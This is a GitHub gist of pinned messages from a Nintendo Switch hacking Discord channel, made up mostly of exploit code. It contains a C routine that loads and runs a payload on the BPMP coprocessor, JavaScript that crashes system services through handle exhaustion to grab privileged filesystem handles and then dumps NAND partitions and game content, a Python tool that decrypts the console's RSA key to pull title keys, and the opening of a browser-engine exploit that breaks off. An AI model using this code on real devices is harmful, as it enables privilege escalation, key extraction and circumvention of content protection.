Skip to content

Instantly share code, notes, and snippets.

@justgerd
Last active January 8, 2019 00:39
Show Gist options
  • Save justgerd/fde71a55221abefed2e2b74f4ac9216f to your computer and use it in GitHub Desktop.
Save justgerd/fde71a55221abefed2e2b74f4ac9216f to your computer and use it in GitHub Desktop.
ReSwitched #switch-hacking-general Pins

Searching for something that was not in the files above? Here's a list of all the links to the pinned messages (in chronological order)! Yes, the list is long, and finding something will be painful, but it would've been as painful if you were still looking for it in the original pins.

https://discordapp.com/channels/269333940928512010/269333940928512010/291597474249048066 https://discordapp.com/channels/269333940928512010/269333940928512010/302110721217527820 https://discordapp.com/channels/269333940928512010/269333940928512010/310647470965129217 https://discordapp.com/channels/269333940928512010/269333940928512010/314235269710872579 https://discordapp.com/channels/269333940928512010/269333940928512010/323100843589238785 https://discordapp.com/channels/269333940928512010/269333940928512010/326428732791193601 https://discordapp.com/channels/269333940928512010/269333940928512010/329060354753560577 https://discordapp.com/channels/269333940928512010/269333940928512010/337464424858255360 https://discordapp.com/channels/269333940928512010/269333940928512010/337492613601165312 https://discordapp.com/channels/269333940928512010/269333940928512010/342057536779976727 https://discordapp.com/channels/269333940928512010/269333940928512010/359610073003327488 https://discordapp.com/channels/269333940928512010/269333940928512010/363720169467543553 https://discordapp.com/channels/269333940928512010/269333940928512010/370366912397574161 https://discordapp.com/channels/269333940928512010/269333940928512010/374735751318863882 https://discordapp.com/channels/269333940928512010/269333940928512010/375765718479667203 https://discordapp.com/channels/269333940928512010/269333940928512010/375769544301477890 https://discordapp.com/channels/269333940928512010/269333940928512010/386667683795697667 https://discordapp.com/channels/269333940928512010/269333940928512010/387486418710298644 https://discordapp.com/channels/269333940928512010/269333940928512010/387813311929909252 https://discordapp.com/channels/269333940928512010/269333940928512010/394306525369466891 https://discordapp.com/channels/269333940928512010/269333940928512010/394307855324282880 https://discordapp.com/channels/269333940928512010/269333940928512010/394308554875600908 https://discordapp.com/channels/269333940928512010/269333940928512010/394533729097482240 https://discordapp.com/channels/269333940928512010/269333940928512010/394921141241774100 https://discordapp.com/channels/269333940928512010/269333940928512010/396060631914250251 https://discordapp.com/channels/269333940928512010/269333940928512010/397967222493937665 https://discordapp.com/channels/269333940928512010/269333940928512010/401883397783552000 https://discordapp.com/channels/269333940928512010/269333940928512010/402026279362363393 https://discordapp.com/channels/269333940928512010/269333940928512010/403681579651825664 https://discordapp.com/channels/269333940928512010/269333940928512010/410940466058625024 https://discordapp.com/channels/269333940928512010/269333940928512010/414178083713712128 https://discordapp.com/channels/269333940928512010/269333940928512010/416828432878534657 https://discordapp.com/channels/269333940928512010/269333940928512010/420049708380323865 https://discordapp.com/channels/269333940928512010/269333940928512010/421439372810780682 https://discordapp.com/channels/269333940928512010/269333940928512010/422563703716839425 https://discordapp.com/channels/269333940928512010/269333940928512010/423665139212877825 https://discordapp.com/channels/269333940928512010/269333940928512010/425833617562796033 https://discordapp.com/channels/269333940928512010/269333940928512010/426475292849340426 https://discordapp.com/channels/269333940928512010/269333940928512010/427253007575416843 https://discordapp.com/channels/269333940928512010/269333940928512010/438001806186905610 https://discordapp.com/channels/269333940928512010/269333940928512010/438001757705207818 https://discordapp.com/channels/269333940928512010/269333940928512010/438127428888428554 https://discordapp.com/channels/269333940928512010/269333940928512010/438191623193493505 https://discordapp.com/channels/269333940928512010/269333940928512010/438890483507396618 https://discordapp.com/channels/269333940928512010/269333940928512010/439610510271315976 https://discordapp.com/channels/269333940928512010/269333940928512010/446127652546281483 https://discordapp.com/channels/269333940928512010/269333940928512010/438381878156853268 https://discordapp.com/channels/269333940928512010/269333940928512010/531987170286632995

don't we all love recursion? https://discordapp.com/channels/269333940928512010/269333940928512010/524516557406208000

#define IRAM(a) ((void *)((a)-0x40000000+iramBaseVa))
#define BPMP_VECTOR_RESET (*(vu32 *)(vectorsBaseVa + 0x200))
#define CLK_RST_CONTROLLER_RST_DEV_L_SET_0 (*(vu32 *)(clockResetBaseVa + 0x300))
#define CLK_RST_CONTROLLER_RST_DEV_L_CLR_0 (*(vu32 *)(clockResetBaseVa + 0x304))
#define FLOW_CTLR_HALT_COP_EVENTS_0 (*(vu32 *)(flowControllerBaseVa + 4))
#define IRAM_PAYLOAD_ADDRESS 0x40030000 /* address to copy the payload to; arbitrary -- as long as TZ doesn't overwrite it */
u64 iramBaseVa, vectorsBaseVa, clockResetBaseVa, flowControllerBaseVa;
static Result fetchIoRegs(void) {
/* NOTE: you need to edit the NPDM for this function to work! */
Result rc;
rc = svcQueryIoMapping(&iramBaseVa, 0x40000000, 0x40000);
if(R_FAILED(rc)) return rc;
rc = svcQueryIoMapping(&vectorsBaseVa, 0x6000F000, 0x1000);
if(R_FAILED(rc)) return rc;
rc = svcQueryIoMapping(&clockResetBaseVa, 0x60006000, 0x1000);
if(R_FAILED(rc)) return rc;
rc = svcQueryIoMapping(&flowControllerBaseVa, 0x60007000, 0x1000);
return rc;
}
void writePayload(void) {
memcpy(IRAM(IRAM_PAYLOAD_ADDRESS), bpmp_bin, bpmp_bin_size);
}
void resetBpmpExecutePayload(void) {
BPMP_VECTOR_RESET = IRAM_PAYLOAD_ADDRESS;
CLK_RST_CONTROLLER_RST_DEV_L_SET_0 = BIT(1); /* Assert BPMP reset */
svcSleepThread(2000); /* Values from 1.0 AM */
CLK_RST_CONTROLLER_RST_DEV_L_CLR_0 = BIT(1); /* Deassert BPMP reset */
FLOW_CTLR_HALT_COP_EVENTS_0 = 0;
svcSleepThread(1000 * 1000);
}
sc.getFSPPR = function () {
if (sc.closed_pr !== undefined) {
return;
}
sc.enableTurbo();
var i = 0;
var srv = null;
while (true) {
sc.ipcMsg(2).setType(5).sendTo('pm:shell');
var srvResult = sc.getService("fsp-pr");
if(srvResult.isOk) {
srv = srvResult.getValue();
break;
}
i++;
}
utils.log('Got fsp-pr handle after ' + i + ' iterations: ');
utils.log('fsp-pr handle: 0x' + srv.toString(16));
sc.svcCloseHandle(srv).assertOk();
sc.closed_pr = true;
};
sc.getFSPPR();
sc.enableTurbo();
if(sc.pr_handle) {
sc.svcCloseHandle(sc.pr_handle);
sc.pr_handle = undefined;
}
sc.getService("fsp-pr", (fsppr) => {
var pid = sc.getService('fsp-srv', (tmp_hnd) => {
utils.log("got fspsrv");
sc.ipcMsg(1).sendPid().data(0).sendTo(tmp_hnd).assertOk();
return sc.read4(sc.ipcBufAddr, 0xC >> 2);
});
utils.log('Got process PID: '+pid.toString(16));
var buf1_sz = 0x1C;
var buf2_sz = 0x2C;
var buf = sc.malloc(buf1_sz + buf2_sz);
var buf2 = utils.add2(buf, buf1_sz);
// buffer init
sc.write4(1, buf, 0x0>>2);
sc.write8([0xFFFFFFFF, 0xFFFFFFFF], buf, 0x4 >> 2); // This is the permissions value.
sc.write4(buf1_sz, buf, 0xC >> 2);
sc.write4(buf1_sz, buf, 0x14 >> 2);
sc.write4(1, buf2, 0x0 >> 2);
sc.write8([0xFFFFFFFF, 0xFFFFFFFF], buf2, 0x4 >> 2); // This is the permissions value -- actual perms = buf2_val & buf1_val
sc.write4(0xFFFFFFFF, buf2, 0x14 >> 2);
sc.write4(0xFFFFFFFF, buf2, 0x18 >> 2);
sc.write4(0xFFFFFFFF, buf2, 0x24 >> 2);
sc.write4(0xFFFFFFFF, buf2, 0x28 >> 2);
/* Change to mount a particular title's romfs */
var tid = '0000000000000000';
sc.ipcMsg(256).data(0).sendTo(fsppr).assertOk().show();
sc.ipcMsg(1).data(pid).sendTo(fsppr).assertOk().show();
sc.ipcMsg(0).data(2, [pid,0], utils.parseAddr(tid), buf1_sz, buf2_sz, pid, pid, 0, 0, 0, 0, 0).aDescriptor(buf, buf1_sz).aDescriptor(buf2, buf2_sz).sendTo(fsppr).assertOk().show();
sc.free(buf);
sc.free(buf2);
});
dumpIStorage = function(ist_hnd, sd_hnd, file_path, is_exfat) {
if (is_exfat == undefined) {
is_exfat = false;
}
sc.withHandle(ist_hnd, () => {
var size = sc.ipcMsg(4).sendTo(ist_hnd).assertOk().data;
utils.log('IStorage size: '+utils.paddr(size));
var two_gigs = 0x80000000 >>> 0;
var outbuf = new ArrayBuffer(0x1000000);
var buf_sz = 0x1000000;
var out_path = file_path;
if ((size[1] > 0 || size[0] > two_gigs) && !is_exfat) {
out_path = file_path + '.0';
createFile(sd_hnd, out_path, two_gigs);
} else {
createFile(sd_hnd, out_path, size);
}
var f_hnd = openFile(sd_hnd, out_path);
var offset = [0, 0];
var ofs_in_file = 0;
var file_num = 0;
while (offset[0] < size[0] || offset[1] < size[1]) {
if (offset[1] == size[1] && size[0] < offset[0] + buf_sz) {
buf_sz = size[0] - offset[0];
utils.log('Final block!');
}
sc.ipcMsg(0).datau64(offset, buf_sz).bDescriptor(outbuf, buf_sz, 1).sendTo(ist_hnd).assertOk();
writeBufferToFile(f_hnd, ofs_in_file, outbuf, buf_sz);
offset = utils.add2(offset, buf_sz);
utils.log('Dumped: '+utils.paddr(offset)+'/'+utils.paddr(size));
// Multi-part files.
ofs_in_file += buf_sz;
if (ofs_in_file >= two_gigs && !is_exfat) {
sc.ipcMsg(2).sendTo(f_hnd).assertOk(); // flush
sc.svcCloseHandle(f_hnd);
file_num++;
var new_path = file_path + '.' + file_num;
if (size[1] > offset[1] || size[0] > two_gigs + offset[0]) {
createFile(sd_hnd, new_path, two_gigs);
} else {
createFile(sd_hnd, new_path, size[0] - offset[0]);
}
f_hnd = openFile(sd_hnd, new_path);
ofs_in_file = 0;
}
}
sc.ipcMsg(2).sendTo(f_hnd).assertOk();
sc.svcCloseHandle(f_hnd).assertOk();
});
};
openRootDirectory = function(ifs_hnd) {
return openDirectory('/', ifs_hnd);
};
openDirectory = function(path, ifs_hnd) {
var pbuf = utils.str2ab(path);
var res = sc.ipcMsg(9).datau32(3).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(ifs_hnd).asResult().map((r) => r.movedHandles[0]).getValue();
};
createFile = function(ifs_hnd, path, size) {
if (size == undefined) {
size = 0x100;
}
var pbuf = utils.str2ab(path);
var res = sc.ipcMsg(0).data([0, 0], utils.trunc32(size)).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(ifs_hnd);
utils.log('Create '+path+' (size '+size.toString(16)+'): ');
res.show();
// ignore failure, it probably just means the file already existed
//res.assertOk();
};
writeBufferToFile = function(f_hnd, offset, buf, sz) {
sc.ipcMsg(1).aDescriptor(buf, sz, 1).data([0,0], utils.pad64(offset), utils.trunc32(sz)).sendTo(f_hnd).show().assertOk();
};
openFile = function(ifs_hnd, path) {
var pbuf = utils.str2ab(path);
utils.log('Open '+path+': ');
return sc.ipcMsg(8).datau32(3).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(ifs_hnd).show().asResult().map((r) => r.movedHandles[0]).getValue();
};
sc.getService('fsp-srv', (hnd) => {
utils.log('Using fsp-srv handle: 0x' + hnd.toString(16));
sc.ipcMsg(1).sendPid().datau64(0).sendTo(hnd).assertOk();
utils.log("initialized fsp-srv");
try {
var sd_mnt = sc.ipcMsg(18).sendTo(hnd).assertOk();
} catch(e) {
throw new Error("Failed to open SD card. Is it inserted?");
}
utils.log("opened sd card");
var partition_names = {
0 : 'Boot0',
10 : 'Boot1',
20 : 'RawNand',
21 : 'BCPKG2-1-Normal-Main',
22 : 'BCPKG2-2-Normal-Sub',
23 : 'BCPKG2-3-SafeMode-Main',
24 : 'BCPKG2-4-SafeMode-Sub',
25 : 'BCPKG2-5-Repair-Main',
26 : 'BCPKG2-6-Repair-Sub',
27 : 'PRODINFO-CAL0',
28 : 'PRODINFOF',
29 : 'SAFE',
30 : 'USER',
31 : 'SYSTEM1',
32 : 'SYSTEM2',
}
// var partitions = [0, 10]; // Package1 + Keyblobs
// var partitions = [21, 22, 24, 25, 25, 26]; // Package2s
// var partitions = [27, 28, 31]; // SYSTEM1 + Calibration
var partitions = [32]; // SYSTEM2
// var partitions = [20]; // Raw NAND
// var partitions = [0, 10, 21];
// var partitions = [0, 10, 27]; // PK11, blobz, cal0
sd_mnt.withHandles((r, m, c) => {
var sd_hnd = m[0];
for (var i = 0; i < partitions.length; i++) {
var partition = partitions[i];
var res = sc.ipcMsg(12).datau32(partition).sendTo(hnd).assertOk();
res.withHandles((r, m, c) => {
var bis_hnd = m[0];
dumpIStorage(bis_hnd, sd_hnd, '/BIS-PARTITION-'+partition_names[partition]+'.bin', false);
}, (e, m, c) => {
utils.log('Failed to dump BIS partition '+partition+'!');
});
sc.gc();
}
});
});
sc.getFSPPR = function () {
if (sc.closed_pr !== undefined) {
return;
}
sc.enableTurbo();
var i = 0;
var srv = null;
while (true) {
sc.ipcMsg(2).setType(5).sendTo('pm:shell');
var srvResult = sc.getService("fsp-pr");
if(srvResult.isOk) {
srv = srvResult.getValue();
break;
}
i++;
}
utils.log('Got fsp-pr handle after ' + i + ' iterations: ');
utils.log('fsp-pr handle: 0x' + srv.toString(16));
sc.svcCloseHandle(srv).assertOk();
sc.closed_pr = true;
};
sc.getFSPPR();
sc.enableTurbo();
if(sc.pr_handle) {
sc.svcCloseHandle(sc.pr_handle);
sc.pr_handle = undefined;
}
sc.getService("fsp-pr", (fsppr) => {
var pid = sc.getService('fsp-srv', (tmp_hnd) => {
utils.log("got fspsrv");
sc.ipcMsg(1).sendPid().data(0).sendTo(tmp_hnd).assertOk();
return sc.read4(sc.ipcBufAddr, 0xC >> 2);
});
utils.log('Got process PID: '+pid.toString(16));
var buf1_sz = 0x1C;
var buf2_sz = 0x2C;
var buf = sc.malloc(buf1_sz + buf2_sz);
var buf2 = utils.add2(buf, buf1_sz);
// buffer init
sc.write4(1, buf, 0x0>>2);
sc.write8([0xFFFFFFFF, 0xFFFFFFFF], buf, 0x4 >> 2); // This is the permissions value.
sc.write4(buf1_sz, buf, 0xC >> 2);
sc.write4(buf1_sz, buf, 0x14 >> 2);
sc.write4(1, buf2, 0x0 >> 2);
sc.write8([0xFFFFFFFF, 0xFFFFFFFF], buf2, 0x4 >> 2); // This is the permissions value -- actual perms = buf2_val & buf1_val
sc.write4(0xFFFFFFFF, buf2, 0x14 >> 2);
sc.write4(0xFFFFFFFF, buf2, 0x18 >> 2);
sc.write4(0xFFFFFFFF, buf2, 0x24 >> 2);
sc.write4(0xFFFFFFFF, buf2, 0x28 >> 2);
/* Change to mount a particular title's romfs */
var tid = '0000000000000000';
sc.ipcMsg(256).data(0).sendTo(fsppr).assertOk().show();
sc.ipcMsg(1).data(pid).sendTo(fsppr).assertOk().show();
sc.ipcMsg(0).data(2, [pid,0], utils.parseAddr(tid), buf1_sz, buf2_sz, pid, pid, 0, 0, 0, 0, 0).aDescriptor(buf, buf1_sz).aDescriptor(buf2, buf2_sz).sendTo(fsppr).assertOk().show();
sc.free(buf);
sc.free(buf2);
});
dumpNCA = function(nca_id, ncm_hnd, sd_hnd, file_path, is_exfat) {
if (is_exfat == undefined) {
is_exfat = false;
}
sc.withHandle(ncm_hnd, () => {
// var size = GetRegisteredEntrySize();
var size = sc.ipcMsg(14).datau32(nca_id[0], nca_id[1], nca_id[2], nca_id[3]).sendTo(ncm_hnd).assertOk();
size = [size.data[0], size.data[1]];
utils.log('NCA size: '+utils.paddr(size));
var two_gigs = 0x80000000 >>> 0;
var outbuf = new ArrayBuffer(0x1000000);
var buf_sz = 0x1000000;
var out_path = file_path;
if ((size[1] > 0 || size[0] > two_gigs) && !is_exfat) {
out_path = file_path + '.0';
createFile(sd_hnd, out_path, two_gigs);
} else {
createFile(sd_hnd, out_path, size);
}
var f_hnd = openFile(sd_hnd, out_path);
var offset = [0, 0];
var ofs_in_file = 0;
var file_num = 0;
while (offset[0] < size[0] || offset[1] < size[1]) {
if (offset[1] == size[1] && size[0] < offset[0] + buf_sz) {
buf_sz = size[0] - offset[0];
utils.log('Final block!');
}
// var data = ReadRegisteredEntry();
sc.ipcMsg(18).datau32(nca_id[0], nca_id[1], nca_id[2], nca_id[3], offset[0], offset[1]).bDescriptor(outbuf, buf_sz).sendTo(ncm_hnd).assertOk().show();
writeBufferToFile(f_hnd, ofs_in_file, outbuf, buf_sz);
offset = utils.add2(offset, buf_sz);
utils.log('Dumped: '+utils.paddr(offset)+'/'+utils.paddr(size));
// Multi-part files.
ofs_in_file += buf_sz;
if (ofs_in_file >= two_gigs && !is_exfat) {
sc.ipcMsg(2).sendTo(f_hnd).assertOk(); // flush
sc.svcCloseHandle(f_hnd);
file_num++;
var new_path = file_path + '.' + file_num;
if (size[1] > offset[1] || size[0] > two_gigs + offset[0]) {
createFile(sd_hnd, new_path, two_gigs);
} else {
createFile(sd_hnd, new_path, size[0] - offset[0]);
}
f_hnd = openFile(sd_hnd, new_path);
ofs_in_file = 0;
}
}
sc.ipcMsg(2).sendTo(f_hnd).assertOk();
sc.svcCloseHandle(f_hnd).assertOk();
});
};
dumpIFile = function(ifl_hnd, sd_hnd, file_path, is_exfat) {
if (is_exfat == undefined) {
is_exfat = false;
}
sc.withHandle(ifl_hnd, () => {
var size = sc.ipcMsg(4).datau64(0).sendTo(ifl_hnd).assertOk().data;
utils.log('Size: '+utils.paddr(size));
var two_gigs = 0x80000000 >>> 0;
var outbuf = new ArrayBuffer(0x1000000);
var buf_sz = 0x1000000;
var out_path = file_path;
if ((size[1] > 0 || size[0] > two_gigs) && !is_exfat) {
out_path = file_path + '.0';
createFile(sd_hnd, out_path, two_gigs);
} else {
createFile(sd_hnd, out_path, size);
}
var f_hnd = openFile(sd_hnd, out_path);
var offset = [0, 0];
var ofs_in_file = 0;
var file_num = 0;
while (offset[0] < size[0] || offset[1] < size[1]) {
if (offset[1] == size[1] && size[0] < offset[0] + buf_sz) {
buf_sz = size[0] - offset[0];
utils.log('Final block!');
}
sc.ipcMsg(0).datau64(0, offset, buf_sz).bDescriptor(outbuf, buf_sz, 1).sendTo(ifl_hnd).assertOk();
writeBufferToFile(f_hnd, ofs_in_file, outbuf, buf_sz);
offset = utils.add2(offset, buf_sz);
utils.log('Dumped: '+utils.paddr(offset)+'/'+utils.paddr(size));
// Multi-part files.
ofs_in_file += buf_sz;
if (ofs_in_file >= two_gigs && !is_exfat) {
sc.ipcMsg(2).sendTo(f_hnd).assertOk(); // flush
sc.svcCloseHandle(f_hnd);
file_num++;
var new_path = file_path + '.' + file_num;
if (size[1] > offset[1] || size[0] > two_gigs + offset[0]) {
createFile(sd_hnd, new_path, two_gigs);
} else {
createFile(sd_hnd, new_path, size[0] - offset[0]);
}
f_hnd = openFile(sd_hnd, new_path);
ofs_in_file = 0;
}
}
sc.ipcMsg(2).sendTo(f_hnd).assertOk();
sc.svcCloseHandle(f_hnd).assertOk();
sc.ipcMsg(2).sendTo(ifl_hnd).assertOk();
});
};
openRootDirectory = function(ifs_hnd) {
return openDirectory('/', ifs_hnd);
};
openDirectory = function(path, ifs_hnd) {
var pbuf = utils.str2ab(path);
var res = sc.ipcMsg(9).datau32(3).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(ifs_hnd).asResult().map((r) => r.movedHandles[0]).getValue();
};
createFile = function(ifs_hnd, path, size) {
if (size == undefined) {
size = 0x100;
}
var pbuf = utils.str2ab(path);
var res = sc.ipcMsg(0).data([0, 0], utils.trunc32(size)).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(ifs_hnd);
utils.log('Create '+path+' (size '+size.toString(16)+'): ');
res.show();
// ignore failure, it probably just means the file already existed
//res.assertOk();
};
createDirectory = function(ifs_hnd, path) {
var pbuf = utils.str2ab(path);
var res = sc.ipcMsg(2).data([0, 0]).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(ifs_hnd);
utils.log('Create '+path+': ');
res.show();
}
writeBufferToFile = function(f_hnd, offset, buf, sz) {
sc.ipcMsg(1).aDescriptor(buf, sz, 1).data([0,0], utils.pad64(offset), utils.trunc32(sz)).sendTo(f_hnd).show().assertOk();
};
openFile = function(ifs_hnd, path) {
var pbuf = utils.str2ab(path);
utils.log('Open '+path+': ');
return sc.ipcMsg(8).datau32(3).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(ifs_hnd).show().asResult().map((r) => r.movedHandles[0]).getValue();
};
openReadFile = function(ifs_hnd, path) {
var pbuf = utils.str2ab(path);
utils.log('Open '+path+': ');
return sc.ipcMsg(8).datau32(1).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(ifs_hnd).show().asResult().map((r) => r.movedHandles[0]).getValue();
};
/* define enums */
var TYPE_CNMT = 0;
var TYPE_PROGRAM = 1;
var TYPE_DATA = 2;
var TYPE_ICON = 3;
var TYPE_DOC = 4;
var TYPE_INFO = 5;
var STORAGE_NONE = 0;
var STORAGE_HOST = 1;
var STORAGE_GAMECARD = 2;
var STORAGE_NANDSYS = 3;
var STORAGE_NANDUSER = 4;
var STORAGE_SDCARD = 5;
/* Configure these as desired. */
var TITLE_ID = '0100000000001000';
var TITLE_TYPE = TYPE_PROGRAM;
var TITLE_STORAGE = STORAGE_NANDSYS;
/* Get the desired NCA ID */
var nca_id = new Uint32Array(4);
sc.ipcMsg(5).datau32(TITLE_STORAGE).sendTo('ncm').asResult().andThen(res => {
sc.withHandle(res.movedHandles[0], function(hnd) {
// var meta_record = GetMetaRecord(TITLE_ID);
var res = sc.ipcMsg(6).datau64(utils.parseAddr(TITLE_ID)).sendTo(hnd).assertOk();
// var nca_id = GetEntryContentNcaId(meta_record, TITLE_TYPE);
res = sc.ipcMsg(3).datau32(TITLE_TYPE, 0, res.data[0], res.data[1], res.data[2], res.data[3]).sendTo(hnd).assertOk();
for (var i = 0; i < 4; i++) {
nca_id[i] = res.data[i];
}
});
});
// Get NCA string for pretty printing.
var nca_id_str = '';
for (var i = 0; i < 4; i++) {
var val = nca_id[i];
for (var j = 0; j < 4; j++) {
var b = (val >> (j*8)) & 0xFF;
nca_id_str += ('00' + b.toString(16)).slice(-2);
}
}
if (TITLE_TYPE == TYPE_CNMT) {
nca_id_str += '.cnmt';
}
nca_id_str += '.nca';
utils.log('Found NCA: '+nca_id_str);
sc.getService('fsp-srv', (hnd) => {
utils.log('Using fsp-srv handle: 0x' + hnd.toString(16));
sc.ipcMsg(1).sendPid().datau64(0).sendTo(hnd).assertOk();
utils.log("initialized fsp-srv");
try {
var sd_mnt = sc.ipcMsg(18).sendTo(hnd).assertOk();
} catch(e) {
throw new Error("Failed to open SD card. Is it inserted?");
}
utils.log("Opened SD card.");
if (TITLE_STORAGE == STORAGE_GAMECARD) {
utils.log('Getting gamecard handle...');
var ido_res = sc.ipcMsg(400).sendTo(hnd).assertOk();
var gc_hnd = undefined;
sc.withHandle(ido_res.movedHandles[0], (ido_hnd) => {
gc_hnd = sc.ipcMsg(202).sendTo(ido_hnd).assertOk().data[0];
});
utils.log('Gamecard handle: '+gc_hnd);
sd_mnt.withHandles((r, m, c) => {
var sd_hnd = m[0];
var nca_id_path = '/ncas';
createDirectory(sd_hnd, nca_id_path);
nca_id_path += '/'+['None', 'Host', 'Gamecard', 'System', 'User', 'Sdcard'][TITLE_STORAGE];
createDirectory(sd_hnd, nca_id_path);
nca_id_path += '/'+TITLE_ID;
createDirectory(sd_hnd, nca_id_path);
nca_id_path += '/'+nca_id_str;
var res = sc.ipcMsg(31).datau32(gc_hnd, 2).sendTo(hnd).show().asResult();
if (res.isOk) {
res = res.getValue();
sc.withHandle(res.movedHandles[0], (gc_fs_hnd) => {
var nca_hnd = openReadFile(gc_fs_hnd, '/'+nca_id_str);
dumpIFile(nca_hnd, sd_hnd, nca_id_path, false);
});
} else {
utils.log('Failed to mount gamecard secure partition!');
}
});
} else {
/* Dump the desired NCA */
sc.ipcMsg(4).datau32(TITLE_STORAGE).sendTo('ncm').asResult().andThen(res => {
sc.withHandle(res.movedHandles[0], function(ncm_hnd) {
sd_mnt.withHandles((r, m, c) => {
var sd_hnd = m[0];
var nca_id_path = '/ncas';
createDirectory(sd_hnd, nca_id_path);
nca_id_path += '/'+['None', 'Host', 'Gamecard', 'System', 'User', 'Sdcard'][TITLE_STORAGE];
createDirectory(sd_hnd, nca_id_path);
nca_id_path += '/'+TITLE_ID;
createDirectory(sd_hnd, nca_id_path);
nca_id_path += '/'+nca_id_str;
dumpNCA(nca_id, ncm_hnd, sd_hnd, nca_id_path, false);
});
});
});
}
});

okay, so once upon a time, we needed to crash ldr to get fsp-ldr. and we had this script called probeipc, which would just fuzz the shit out of ipc commands -- this was back before we had any idea of how to actually ... ya know, figure out ipc interfaces.

so i pointed it at ldr, sending type 5 (control) messages. and ... it stopped responding. it took a second to figure it out, but it turns out that all ipc services on the switch will blow the fuck up if you make it get too many handles. command 2 type 5 duplicates your session, which allocates a new handle. do that some small number of times (usually ~50) and boom, the service tanks.

var srv = null;
while (true) {
    sc.ipcMsg(2).setType(5).sendTo('ldr:dmnt');
    srv = sc.getService('fsp-ldr');
    if (srv[0] != -1) {
        utils.log('Boom.');
        break;
    }
    i++;
}
utils.log('Got fsp-ldr handle after '+i+' iterations: ');
utils.log('fsp-ldr handle: '+utils.paddr(srv));
import os, sys
from struct import unpack as up, pack as pk
from binascii import unhexlify as uhx, hexlify as hx
from Crypto.Cipher import AES
from Crypto.Util import Counter
import hashlib
# Note: Insert correct RSA kek here, or disable correctness enforcement.
enforce_rsa_kek_correctneess = True
rsa_kek = uhx('00000000000000000000000000000000')
def safe_open(path, mode):
import os
dn = os.path.split(path)[0]
try:
os.makedirs(dn)
except OSError:
if not os.path.isdir(dn):
raise
except WindowsError:
if not os.path.isdir(dn):
raise
return open(path, mode)
def hex2ctr(x):
return Counter.new(128, initial_value=int(x, 16))
def b2ctr(x):
return Counter.new(128, initial_value=int(hx(x), 16))
def read_at(fp, off, len):
fp.seek(off)
return fp.read(len)
def read_u8(fp, off):
return up('<B', read_at(fp, off, 1))[0]
def read_u16(fp, off):
return up('<H', read_at(fp, off, 2))[0]
def read_u32(fp, off):
return up('<I', read_at(fp, off, 4))[0]
def read_u64(fp, off):
return up('<Q', read_at(fp, off, 8))[0]
def read_str(fp, off, l):
if l == 0:
return ''
s = read_at(fp, off, l)
if '\0' in s:
s = s[:s.index('\0')]
return s
def sxor(x, y):
return ''.join([chr(ord(a) ^ ord(b)) for a,b in zip(x,y)])
def MGF1(seed, mask_len, hash=hashlib.sha256):
mask = ''
i = 0
while len(mask) < mask_len:
mask += hash(seed + pk('>I', i)).digest()
i += 1
return mask[:mask_len]
def get_rsa_keypair(cal0):
if read_at(cal0, 0, 4) != 'CAL0':
print 'Invalid CAL0 magic!'
sys.exit(1)
if read_at(cal0, 0x20, 0x20) != hashlib.sha256(read_at(cal0, 0x40, read_u32(cal0, 0x8))).digest():
print 'Invalid CAL0 hash!'
sys.exit(1)
dec = AES.new(rsa_kek, AES.MODE_CTR, counter=b2ctr(read_at(cal0, 0x3890, 0x10))).decrypt(read_at(cal0, 0x38A0, 0x230))
D = int(hx(dec[:0x100]), 0x10)
N = int(hx(dec[0x100:0x200]), 0x10)
E = int(hx(dec[0x200:0x204]), 0x10)
if E != 0x10001:
print '[WARN]: Public Exponent is not 65537. rsa_kek is probably wrong.'
if pow(pow(0xCAFEBABE, D, N), E, N) != 0xCAFEBABE:
print 'Failed to verify ETicket RSA keypair!'
print 'Decrypted key was %s' % hx(dec)
sys.exit(1)
return (E, D, N)
def extract_titlekey(S, kp):
E, D, N = kp
M = uhx('%0512X' % pow(S, D, N))
M = M[0] + sxor(M[1:0x21], MGF1(M[0x21:], 0x20)) + sxor(M[0x21:], MGF1(sxor(M[1:0x21], MGF1(M[0x21:], 0x20)), 0xDF))
pref, salt, DB = M[0], M[1:0x21], M[0x21:]
if pref != '\x00':
return None
label_hash, DB = DB[:0x20], DB[0x20:]
if label_hash != uhx('E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855'):
return None
for i in xrange(1, len(DB)):
if DB.startswith('\x00'*i + '\x01'):
return DB[i+1:]
return None
def get_titlekeys(tik, tik_size, kp):
if tik_size & 0x3FF:
print 'Invalid ticket binary!'
sys.exit(1)
num_tiks = tik_size >> 10
for i in xrange(num_tiks):
ofs = i << 10
CA = read_at(tik, ofs + 0x140, 4)
if CA == '\x00'*4:
continue
if CA != 'Root':
print 'Unknown Ticket verifier: %s' % read_str(tik, ofs + 0x140, 0x40)
tkey_block = read_at(tik, ofs + 0x180, 0x100)
if tkey_block[0x10:] == '\x00'*0xF0:
# Common Ticket
titlekey = tkey_block[:0x10]
else:
# Personalized Ticket
titlekey = extract_titlekey(int(hx(tkey_block), 16), kp)
if titlekey is not None:
print 'Ticket %d:' % i
print ' Rights ID: %s' % hx(read_at(tik, ofs + 0x2A0, 0x10))
print ' Title ID: %s' % hx(read_at(tik, ofs + 0x2A0, 8))
print ' Titlekey: %s' % hx(titlekey)
return
def main(argc, argv):
if argc != 3:
print 'Usage: %s CAL0 ticket.bin' % argv[0]
return 1
if enforce_rsa_kek_correctneess and hashlib.sha256(rsa_kek).hexdigest().upper() != '46CCCF288286E31C931379DE9EFA288C95C9A15E40B00A4C563A8BE244ECE515':
print 'Error: rsa_kek is incorrect (hash mismatch detected)'
print 'Please insert the correct rsa_kek at the top of the script.'
return 1
try:
cal0 = open(argv[1], 'rb')
kp = get_rsa_keypair(cal0)
cal0.close()
except:
print 'Failed to open %s!' % argv[1]
return 1
try:
tik = open(argv[2], 'rb')
get_titlekeys(tik, os.path.getsize(argv[2]), kp)
tik.close()
except:
print 'Failed to open %s!' % argv[2]
return 1
print 'Done!'
return 0
if __name__=='__main__':
sys.exit(main(len(sys.argv), sys.argv))
window.minmain = function minmain () {
window.arr = new Uint32Array(0x2000);
arr[4] = 0xb0;
var obj = {};
for (var i in {foo: 'bar'}) {
for (i of [arr]) {
}
obj[i];
}
var objs = [];
for (var i = 0; i < 2; ++i) {
objs.push({
prop_0: 0, prop_1: 0xdead,
